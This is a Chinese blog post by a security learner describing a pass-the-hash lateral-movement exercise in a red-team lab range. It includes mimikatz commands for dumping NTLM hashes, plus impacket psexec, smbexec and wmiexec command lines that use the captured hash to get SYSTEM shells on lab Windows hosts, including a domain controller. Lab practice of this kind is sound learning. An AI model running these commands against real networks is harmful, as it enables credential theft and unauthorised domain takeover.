内网渗透之Hash传递攻击


一、前言

  面试问到了pth,当时被问到的时候一头雾水。结束后去查了一下惊出一身冷汗,这么重要的居然没学过,好吧还是学内网的时间太短了,也不是系统去学习,所以导致有些知识点会遗漏。这样下去即使脑子再灵活,不知道的东西还是不知道也不可能用上。算个小教训吧,得好好的再深入学习有关windows一切。

二、pth由来

  在windows认证机制中,在获取了目标机器用户的NTLM Hash的情况下,可无需破解哈希直接使用目标的NTLM Hash来完成身份验证。
  主要还是在内网中很多主机的密码都可能一样,保存在内存中NTLM Hash是一样的,接着就是利用获取到的NTLM Hash来登录到受害主机或者其他主机。
总之只要获取NTLM Hash,就有可能在内网横穿。

三、测试环境

  这里ATT&CK实战系列——红队实战(一)靶场作为测试环境,环境中有win7win_server_2003win_server_2008(域控),为了节目效果就把三台机子密码设置成一样的。网络环境看着配能通就行。

四、攻击思路

抓取hash,利用hash攻击

1、抓取NTLM Hash

可以用许多路子来抓取内存中的哈希:mimikatz.exePowershellMSF

2、攻击工具

impacket(本文章演示)、CrackMapExecMSFSmbmap

五、复现

1、获取win7的Hash

前面的渗透的步骤就不放进来了,这里直接用mimikatz来抓取哈希

privilege::debug
sekurlsa::logonpasswords

两条命令执行完:

获取到的ntlm为:a45a7246dd74b64a67f22fd7020f1bd8

2、impacket-psexec.py

  安装好impacket后就可以直接用,这里需要注意impacket工具包是在kali那边安装的,所以要借助代理才能在内网横行。这里把win7上线vps的msf然后添加路由挂一层代理。
(1)psexec.py连接win7
用法:psexec.py -hashes :<hash> 域/域用户名@被攻击的ip

这里是需要加上proxychains再连接win7(192.168.52.138)
命令:proxychains python psexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
运行结果如下

(2)psexec.py连接win2003(192.168.19.134)失败了

运行后卡在这个地方,暂时不知道啥原因
(3)psexec.py连接win2008(域控192.168.19.131)
命令:proxychains python psexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
真就连上去了,有点小惊讶,因为域控这边什么配置都没动(就改了密码),防火墙也还是开的。

3、impacket-smbexec.py

用法:smbexec.py -hashes :<hash> 域/域用户名@ip

(1)smbexec.py连win7
命令:proxychains python smbexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
也还是照常连进去了

(2)smbexec.py连win2003
命令:proxychains python smbexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
这次居然连上去了,说明工具直接还是有区别的,挖坑

(3)smbexec.py连win2008
命令:proxychains python smbexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
也是可以进去,结果如下

感觉smbexec.py执行速度比psexec.py慢了许多,权限也都是system

4、impacket-wmiexec.py

用法:wmiexec.py -hashes :<hash> 域/域用户名@ip

(1)wmiexec.py连接win7
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
进去是进去了,但是shell的交互性好像不一样:

准确的用法应该是:wmiexec.py -hashes :<hash> 域/域用户名@ip "cmd命令"
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected] "whoami"
结果如下:

(2)wmiexec.py执行win2003的cmd命令
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected] "whoami"
失败了,版本不适配

(3)wmiexec.py执行win2008的cmd命令
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected] "whoami"
结果如下

六、总结

  虽然是利用成功了但是对这么几个工具的理解还有点欠缺,后面有时间再补补。总之有了这个pth在内网又多一条可以走的路,并且还得再深入学习windows认证机制。


文章作者: xi3w3n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xi3w3n !
评论
  目录